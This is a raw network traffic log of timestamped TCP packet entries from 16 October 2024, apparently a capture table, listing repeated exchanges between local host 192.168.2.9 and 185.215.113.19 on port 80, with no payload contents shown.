Oct 16, 2024 19:22:40.408943892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.408943892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.408988953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409041882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409041882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409041882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409041882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409053087 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409058094 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409163952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409163952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409234047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409234047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409259081 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409368992 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409368992 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409368992 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409368992 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409384966 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409411907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409411907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409421921 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409481049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409481049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409481049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409481049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409507990 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409512043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409538031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409538031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409538031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409559965 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409564972 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409671068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409671068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409671068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409672022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409672022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409672022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409693956 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409715891 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409719944 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409729004 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409733057 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409735918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409735918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409735918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409735918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409737110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409742117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409750938 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409754992 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409765005 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409795046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409795046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409817934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409817934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409957886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409957886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409957886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409957886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409957886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409970045 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409975052 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409985065 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.409985065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409985065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.409990072 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410026073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410026073 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410162926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410162926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410162926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410162926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410162926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410162926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410162926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410162926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410183907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410187960 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410197020 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410206079 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410242081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410242081 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410254955 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410259962 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410262108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410262108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410290956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410393953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410393953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410393953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410393953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410393953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410393953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410564899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410564899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410564899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410564899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410564899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410564899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410564899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410564899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410576105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410581112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.410638094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410638094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410638094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410638094 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410866022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410866022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410866022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410866022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410866022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410866022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410866022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410866022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410989046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410989046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410989046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.410989046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411611080 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411617041 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411627054 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411688089 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411693096 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411696911 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411705971 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411710024 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411721945 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411726952 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411736012 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411784887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411784887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411784887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411806107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411809921 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411818981 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411823034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411828041 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.411850929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411850929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411850929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411850929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411884069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411884069 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411933899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.411933899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412009954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412009954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412009954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412009954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412069082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412069082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412100077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412101030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412233114 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412236929 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412257910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412257910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412257910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412257910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412257910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412257910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412259102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412259102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412281990 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412286043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412295103 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412298918 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412302017 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412311077 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412331104 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412334919 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412337065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412337065 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412341118 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412343025 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412344933 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412348986 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412353039 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412375927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412375927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412425041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412425041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412446976 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412451982 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412460089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412460089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412461042 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412466049 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412476063 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412480116 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412492037 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412509918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412509918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412509918 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412523031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412569046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412569046 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412625074 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412630081 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412638903 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412703991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412703991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412703991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412703991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412703991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412722111 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412725925 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412729979 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412734032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412765980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412765980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412765980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412806988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412806988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412806988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412847996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412847996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412874937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412928104 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412931919 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412940979 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412945032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412949085 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.412970066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412970066 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412971020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.412971020 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413002968 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413007021 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413054943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413054943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413054943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413070917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413070917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413078070 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413115025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413115025 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413140059 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413145065 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413168907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413168907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413168907 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413239956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413239956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413270950 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413275003 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413312912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413312912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413312912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413312912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413336039 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413461924 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413494110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413494110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413494110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413494110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413494110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413494110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413568974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413568974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413614035 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413615942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413615942 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413619041 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413623095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413626909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413649082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413736105 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413739920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413739920 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413739920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413748980 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.413767099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413767099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413845062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413845062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413845062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413845062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413883924 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413990974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413990974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413990974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.413990974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414002895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414002895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414088964 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414094925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414094925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414094925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414094925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414114952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414150953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414150953 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414175034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414196968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414196968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414309978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414309978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414309978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414309978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414310932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414310932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414316893 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414321899 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414343119 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414346933 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414355993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414370060 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414372921 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414407015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414407015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414407015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414407015 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414438963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414438963 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414452076 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414457083 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414518118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414518118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414518118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414518118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414571047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414571047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414602995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414653063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414654016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414654016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.414673090 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414676905 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.414707899 CEST	49716	80	192.168.2.9	185.215.113.19
